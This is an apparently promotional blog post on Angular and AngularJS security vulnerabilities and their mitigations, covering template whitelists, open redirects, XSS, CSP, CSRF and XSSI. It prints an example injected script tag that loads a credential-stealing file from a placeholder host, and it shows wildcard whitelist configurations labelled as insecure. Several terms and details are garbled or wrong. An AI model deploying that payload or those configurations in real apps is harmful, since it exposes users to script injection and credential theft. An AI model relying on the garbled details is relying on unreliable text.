Quick Summary:
Angular Security is an age-old discussion that has many developers intrigued. Though Angular brings many benefits to the client project, it also has many vulnerabilities that make Angular prone to various cyber-attacks. It is important to keep in mind that security plays a vital role in the app development cycle. This blog will focus on how to secure Angular app including Angular vulnerabilities as well as their mitigations. It will also emphasize on angular security best practices.
If you’re planning to use Angular, or if you’re already using it. It is important to note that Angular is an Open-source framework led by the Angular Team at Google. Thus, Angular falls under Google’s security guidelines, and as per the guidelines, it is mandatory to disclose any vulnerability found in the framework within 90 days.
It is important to know what Angular provides. To help you develop and maintain a secure application. Angular provides built-in support for output encoding & data sanitization. According to Stackoverflow’s annual developer survey 2021, Angular has scored 4th in the most loved framework with 22.96%. But when you talk about professional developers, it scores 3rd position with 26.23%. Let’s move forward to the angular security issues
Angular Security Vulnerabilities
Let’s look at the most known angular security vulnerabilities that are a concern with the secure angular app:
Loading Angular templates insecurely
A template is an HTML form that tells Angular how to render the component. To render angular templates for routing, directives, ngSrc, ngInclude, etc angular uses template URL. By default, resources are restricted to the same domain or protocol as the application document. When you wish to load templates from other domains or protocols as the application domain. You can either whitelist them or wrap them as trusted values. You can change these values by setting customized safelists and deny lists for such URLs.
To solve the issue of not being able to load the resources from another domain. An insecure whitelist is created where any domain is allowed. By configuring the $sceDelegateProvider.resourceUrlWhitelist
using wildcards. Take a look at the example below for a better understanding.
angular.module("myApp", []).config(function ($sceDelegateProvider) {
$sceDelegateProvider.resourceUrlWhitelist([
// Insecure - the wildcard allows resource loading from any domain using any protocol
"**",
]);
});
angular.module("myApp", []).config(function ($sceDelegateProvider) {
$sceDelegateProvider.resourceUrlWhitelist([
// Insecure - loads over HTTP, wildcard allows for any subdomain and any directory
"http://**.example.com/**",
]);
});
Mitigations for insecurely loading angular template
- Configure a whitelist for the specific protocol, domain, or subdomain for your trusted resources.
- Never use a double asterisk (
**
) wildcard to allow arbitrary protocols and domain. Or use them as a part of the domain. It should only be used at the end of the URL. - Make sure that resources are loaded on the secure protocol. Like allowing access with https://URLs
- While a whitelist is used to allow the resources. Blacklist on the other hand is used as a defense measure. To prevent resourcing templates that have known vulnerabilities within your application.
Also Read: How to Improve the Performance of your Angular App
Open redirect issues
There are several cases where a website allows other users to change these redirects on their pages. In that case, a redirect becomes a vulnerability – an open redirect vulnerability. To enable developers to read/write to the current browser location, the $window.location
property is used. The API exposes raw objects with properties to a URL that can be directly modified. By setting the $window.location.href
property to a URL. The browser will navigate to the page, even if it is outside the current applications domain. And an attacker could use this vulnerability to perform an XSS attack by using a URL that starts with JavaScript.
Mitigations for Open redirect issues
- Open redirect can be prevented by hard boarding the URLs.
Var redirect_URL = ‘Aglowid.html’;
- Whitelist the accepted URLs
if(redirect_URL ! = ‘Aglowid.html’)
return;
- Use indirect reference maps
var a = {
'welcome': "Aglowid.html",
};
if (a[redirect_URL]) redirect_URL = a[redirect_URL];
else redirect_URL = "Aglowid.html";
- While using URL’s make sure they start with HTTP(s)
var pattern = /^((http|https):\/\/)/;
if (!pattern.test(redirecturl)) return;
Angular XSS Security vulnerability
Cross-site scripting also known as XXS is a common web vulnerability. It occurs when the attacker injects malicious scripts into a web page, usually JavaScript. Interactive web applications need to execute scripts in your local browser, making XSS possible.
This vulnerability is mostly caused when developers fail to validate or sanitize user input. When a user includes a JavaScript code to input form directly on the web page it guarantees an XSS attack.
To understand it better let’s take an example. It can be possible that the attacker might add the following code to the forum.
I appreciate your help! <script src="http://test.com/getcreds.js">
Now that this message is included in the forum thread. When a new user opens this page, their browser will execute this JavaScript code. This code downloads malicious JavaScript from the forum.
Popular Types of XSS Security Vulnerability
Stored or Persistent XSS
One of the most effective ways of performing an XSS attack is a Stored or persistent XSS. This type of XSS attack occurs when the attacker injects script code stored by the web browser. The stored script will be executed on the visitor’s browser when someone visits the page. The example mentioned above is a perfect example of this type of attack.
Reflected or non-persistent XSS
This cross-site scripting attack is not made using the web application. A web address is delivered to the victim using various phishing and social engineering methods by the attacker. The victim clicks the link, goes to the vulnerable page and the victim’s browser executes the script.
DOM-Based XSS
This is an advanced type of XSS attack. In this type of attack, the attacker creates the script executed by the browser’s DOM (Document Object Model) engine. The Injected script is often not sent to the server at all. This type of XSS is common in JavaScript sites such as single-page applications (SPAs).
Apart from this, the attacker can also take advantage of the granted permissions to impersonate the users. Below are some effective ways to secure the angular app and prevent the XSS attack.
Also Read: Common Angular Issues & their Solutions
Mitigations for XSS Security Vulnerability
Following are the solution for Cross-site scripting in angular app security:
Sanitization
It is general knowledge that you should never pass untrusted data to the compiler when it comes to programming. Angular, by default, protect from XSS by applying input sanitization, and output encoding for all data values pushed to the DOM. Treating all values as untrusted reduces the chances of introducing malicious data and other security vulnerabilities in your application. When the value is pushed, DOM is in the form of style, property, attribute, class binding, interpolation, and any other resources. Angular automatically sanitizes the value before rendering it safe.
There are three main functions for sanitizing values
- sanitizeHTML function – It sanitizes HTML values by parsing them and validating their tokens
- sanitizeStlye function – It uses regular expressions to sanitize untrusted styles and URL values
- sanitizeURL function – It also uses regular expressions to sanitize untrusted URL values
Looking to Hire AngularJS Developers?
Aglowid help’s you build performance-oriented user interfaces for modern rich applications with the latest front-end technologies
With the help of these functions, the DOM sanitizer cleans untrusted values to ensure only safe data is passed to the application. Following is the basic skeleton of the DOM:
Sanitizer class:
export enum SecurityContext { NONE, HTML, STYLE, SCRIPT, URL, RESOURCE_URL }
export abstract class DomSanitizer implements Sanitizer {
abstract sanitize(context: SecurityContext, value: SafeValue|string|null): string|null;
abstract bypassSecurityTrustHtml(value: string): SafeHtml;
abstract bypassSecurityTrustStyle(value: string): SafeStyle;
abstract bypassSecurityTrustScript(value: string): SafeScript;
abstract bypassSecurityTrustUrl(value: string): SafeUrl;
abstract bypassSecurityTrustResourceUrl(value: string): SafeResourceUrl;
}
In the snippet above, there are two distinct methods. One is Sanitizer()
method, which identifies both the context and the untrusted value. While the other one is the bypassSecurityTrustXYZ()
method, which gets untrusted values according to their usage and returns trusted objects.
Employing Angular Content Security Policy
The Content Security Policy, also known as CSP, is a security feature used against the attacks such as Cross-site scripting and Data Injection. Using a Content security policy, angular can specify trusted sources, preventing the browser from loading data from untrusted resources. To disable the execution of in-line CSS and JavaScript, CSP can be used. In addition, you can also specify policies for AJAX, CSS, and iframe.
The content security policy is sent to the browser using the content-security-policy HTTP header. You can say that content security policy is the key while the actual policy is the value. The following code shows the format of the content security policy :
Content-Security-Policy: policy
Format of Content Security Policy In Angular
The policy contains the rules for content security policy. Semicolons are used in policy to separate multiple resources. For example, the code below shows the CSP or multiple resources type:
Content-Security-Policy: default-src 'self'; img-src https://*; child-src 'none';
The default-src directive provides an alternative policy for other undefined resources where they lack their policy. As a result, you should always include the default-src directive in your content security policy, for the ' self'
website will load the resource from the original. As for the img-src directive and its value, https:// means that the images will only be loaded from the secure HTTPS protocol.
How To Set Content Security Policy Header In Angular
Now that what angular content security policy is clear, let’s move forward on how you can enable content security policy in Angular.
There are multiple ways to set the content security policy header in Angular. The First way is to enable it globally using server configuration. But it is important to note that the process of enabling the angular content security policy at the server level varies on the type of os or service hosted on the website.
The second way on the list is using server-side rendering tools such as Angular Universal.
This list’s third method is using a meta-tag with http-equiv set to content-security-policy. You can add the meta-tag to your angular project’s index.html
.
To enable this go to the src directory of the project and open index.html in the editor. Now add the following code inside the <head>
tag
<meta http-equiv="Content-Security-Policy" content="">
Value of angular content security policy should be added in the meta tag property. While using this method, don’t include Content-Security-Policy: value. Only specify the value part. You can also separate policies for multiple directives using a semicolon and add multiple origins using spaces.
Also Read: How to Reduce Angular App Maintenance Cost?
Strict Contextual Escaping
Following the deprecation of the ng-bind-html-unsafe directive, Angular implemented Strict Contextual Encoding as an escape and sanitization mechanism. SCE allows values to be sanitized and escaped depending on a certain context rather than the contents of the HTML element. The angular $sce
service is used to do this. It’s worth noting that misusing SCE might expose your application to XSS vulnerabilities. As a result, techniques like $sce.trustAsHtml
or $sce.trustAs
are incorrect for marking untrusted data as safe (type, value).
Avoid using Risky DOM APIs.
The angular.element
API provides an easy way to access and manipulate the DOM directly. Angular provides its subset of the JQuery language accessible via the angular. element global function.
However, it does not protect your application from potential injection vulnerabilities.
Using untrusted input in some of the element functions may lead to XSS:
- element.after
- element.append
- element.html
- element.prepend
- element.replaceWith
- element.wrap
Below is a simple template and its corresponding angular controller:
=//A simple Angular template:
<div ng-controller="AboutController">
<span id=”content”>{{content}}</span>
</div>
//Below is the angular controller to manipulate this page using the angular.element()
function AboutController($scope) {
const element = angular.element(‘#content’)
element.after($scope.content)
}
Here in this code, you can see the element.after()
appends data in $scope.content
into DOM without sanitizing or encoding it. If the values are in $scope.content
contains malicious elements. Then Angular protection mechanisms are not applied to leave the application vulnerable to injection attacks.
Server-Side XSS Vulnerability
Mitigating server-side code injection is another way to secure angular apps against XSS vulnerabilities. Although server-side code sanitizes malicious entities such as HTML scripts, it is not always aware of Angular context on the client-side. Attackers can provide maliciously crafted Angular templates leading to an injection attack.
Mitigation for SSR XSS vulnerabilities
- Avoid mixing client and server-side templates. Use templates within a single application context
- Avoid generating templates with the use of user input
- Refrain running input through
$cope.$eval
- Ensure all input is properly handled by Angular sanitization and output encoding controls by binding template data to ng-bind
Looking for a best AngularJS Development Company?
We at Aglowid have a pool of vetted certified Angular Architects that provide you budget-friendly AngularJS App Development Services.
Third-party library security issues
Designing web applications needs special attention to their user experience as they are accessed openly. To provide the best user experience, Angular uses third-party libraries. However, your efforts to create a robust web application can take a hit when the third-party tool such as library packages, JavaScript scripts, or CSS files that you’re using may contain vulnerabilities that can affect the performance and scalability.
Mitigation for third-party vulnerabilities
The solutions to third-party risks that can lead to vulnerable applications should set up a structured process for your development flow. This process is composed of four steps:
- Asses Inventory
- Dependencies analysis
- Risk assessment
- Risk Mitigation
HTTP-Level vulnerabilities
Angular is affected by two types of HTTP security problems on both the client and the server. Cross-site request forgery and cross-site scripting inclusion are the two types of cross-site scripting. Angular, thankfully, comes preloaded with built-in tools to address such flaws. Let’s take a closer look at each of them.
Types of HTTP-Level vulnerabilities
Cross-Site Request Forgery
A cross-site request forgery known as XSRF or CSRF is an online attack. The attacker makes malicious requests to servers by redirecting the victim to a different web page. Using the example of mobile banking, we can better comprehend this.
When a user visits the mobile banking application website 1 and clicks on a link to a malicious website 2, the user is exposed to malware. A money transfer request is sent from the rogue website to a legitimate website.
The browser will automatically submit the bank’s request, complete with all authentication cookies. The application will be unable to distinguish between malicious and legitimate requests if it does not include XSRF protection.
Also Read: How to Make Angular SEO Friendly Website?
Mitigation for Cross-Site Request Forgery
To protect your application from XSRF attacks, make sure the requests it receives come from a legitimate domain. Some preventative measures include:
- storing autogenerated authentication tokens in cookies
- validating the origin header as delivered by the user’s browser
- Protecting the authentication token so that only the program that receives it may read it and verify it upon submission
Cross-Site Script Inclusion
By inserting susceptible scripts in the application, attackers can steal information via cross-site script inclusion (XSSI), also known as JSON vulnerabilities. The attacker provides an API URL in the script> element in an XSSI attack, allowing them to access data from the application. Only if the JSON answer is viable does the attack function.
Mitigation for Cross-Site Inclusion
Among the solutions of XSSI, one of the most effective ways is adding prefixes which makes JSON response non-executable. In angular HTTP client library helps achieve this by removing the “)]}’,\n”
string from the JSON response. To get the full solutions list for XSSI, look at the OWASP cheat sheet here.
Angular Security Vulnerabilities Example
Following are some of the real-time examples of vulnerabilities provided by Synk:
1. Regular Expression Denial of Service (ReDoS)
Vulnerable version: >1.7.0
Published on: 21st April 2022
Vulnerability Complexity: Medium
CVE no: CVE-2022-25844
CWE no: CWE-1333
Angular is a package that lets you write client-side web applications as if you have a smarter browser. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat()
of NUMBER_FORMATS.PATTERNS[1].posPre
with a very high value. For more information on the CVE and CWE no. click on the link provided.
2. Cross-site Scripting (XSS)
Vulnerable version: <1.8.0
Published on: 11th June 2020
Vulnerability Complexity: High
CWE no: CWE-79
The affected version of Angular is vulnerable to XSS attacks. It may trigger AngularJS applications that sanitize user-controlled HTML snippets before passing them to JQLite methods like JQLite.prepend
, JQLite.after
, JQLite.append
, JQLite.replaceWith
, JQLite.append
, new JQLite
, and angular. element
.
3. Prototype Pollution
Vulnerable version: >=1.4.0-beta.6 <1.7.9
Published on: 19 Nov 2019
Vulnerability Complexity: High
CVE no: CVE-2019-10768
CWE no: CWE-1321
The affected version of the Angular package is vulnerable to prototype pollution. The function merge()
could be tricked into adding or modifying properties of the Object. prototype
using a _proto_
payload.
Also Read: How to Make your Angular Responsive Web App Design?
Angular Security Best Practices
So, let’s explore the angular security best practice approaches for securing angular applications.
Avoid Using Angular DOM-related input injection.
Following are the two methods for using angular input injection:
Abusing the angular unsafe HTML binding
The earlier version of Angular had an ng-bind-html-unsafe directive which allowed to insert HTML data into DOM and create new elements. Some practice for using this was to create DOM elements straight from data input and then filter certain strings, like removing links and others. Using this approach to black list data is error-prone and not safe due to new attack vectors and methodologies discovered over time and requires Maintaining such a black list.
Abusing angular strict contextual escaping
The Angular release has deprecated the ng-bind-html-unsafe
directive and introduced strict contextual encoding (S0CE). SCE enables data escape and sanitizes based on a context but not specific HTML elements. Using Angular methods such as $sce.trustAsHtml()
and $sce.trustAs(type,value)
Escape hatches allow you to skip encoding and accept that the data provided is safe to use.
To ignore the sanitization of input and strict contextual escaping globally, it is possible to use $sceProvider.enabled(false)
. It is not recommended to use this only if you have a really good reason. Make sure to include other countermeasures and defenses.
Avoid dynamically loading Angular templates from untrusted sources
It is recommended to avoid dynamically loading angular templates from untrusted resources. If your angular application code makes use of the SCE delegation provider, you make sure the configuration of the resources whitelist is properly considered:
- Use HTTPS as a secure medium to fetch remote templates and ensure up-to-date TLS configuration exists on the remote endpoint
- Avoid using double-asterisk wildcard
**
for domains or protocols - If required, create a black list for in-depth defense
Angular open redirect vulnerabilities
The browser native APIs provide page navigation capabilities such as $window
. location. Angular abstracts the navigation handling with $location service provider and provides methods such as $location.url()
, $location.path()
, and $location.hash()
and others to access the current navigation URL and synchronises it as required.
Some of the best practices to avoid open redirect and JavaScript code injection:
- Avoid page navigation based on user input
- Use dictionary maps to accomplish page navigation based on user input
- Avoid patterns such as
window.location.href = $location.hash
, as this can lead to JavaScript Code Injection attacks
Server-side Angular code injection
- Use application context instead of mixing server-side and client-side templates
- To specify the DOM element context reduces the scope of the ng-app directive in the HTML body
- To ensure the user input is properly handled, Angular’s inbuilt support with output encoding and Sanitization controls with the
ng-build
orng-build-html
directives - To ensure that data is not being treated as an expression by Angular, use
ng-non-bindable
Use Angular security linters
- It is advised to use static code analysis tools to find and notify the developer about it in the early stage of development
- To help with general Angular coding guidelines, the
eslint-plugin-angular
project is used - To disallow wrapping of angular. element object with jQuery or
$
, some of the rules for rules most importantly no-jquery-angularelement is used
Use Route guards on Navigation
By working on the route guard interface, you can accept and decline permission to navigate the URL requested by users. Route guard uses the true and false Boolean value concept. When the true value is there, the user can navigate to the URL requested, and if the value is returned as false, the user will be blocked.
There are various types of route guards. They are as follows:
- Can Activate: This route guard will determine whether or not the user can access the component
- Can Activate Child: It will examine whether or not the kid component can be accessed
- Can Load: This route guard may be verified before loading the feature module
- Resolve: This route guard verifies whether or not data-related navigation is accessible by pre-fetching the route data
- Can Deactivate: It requests permission to undo the modifications
Also Read: Vue.js vs. Angular
Stay updated with the latest Angular library.
One of the essential things in software development is updating your project with the latest improvement and inventions. In the same manner, Angular is updated from time to time, with various advanced features, stability, and upgrading performance, making the development easier for developers. It is recommended & beneficial to use the latest updated version of Angular in your project to help you optimize and fix the issues or vulnerabilities.
have a unique app Idea?
Hire Certified Developers To Build Robust Feature, Rich App And Websites.
Wrapping Up
Without a doubt, security is becoming vital for the software development process. In the same way, angular security plays a vital role in implementing security best practices in Angular applications. This blog sheds light on how to implement security in angular applications, angular security issues, solutions, and comprehensive angular security best practices where we learned to secure angular applications.